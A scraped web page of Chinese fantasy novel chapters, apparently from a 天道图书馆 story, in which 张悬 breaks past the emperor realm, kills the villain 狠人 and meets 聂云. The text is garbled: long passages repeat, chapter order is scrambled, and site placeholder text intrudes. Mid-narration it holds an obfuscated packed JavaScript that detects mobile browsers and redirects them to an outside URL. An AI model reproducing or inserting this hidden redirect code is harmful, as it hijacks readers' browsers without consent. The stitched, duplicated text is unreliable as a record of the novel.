“我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546021|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第49章老臣求您了!给您磕头了 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 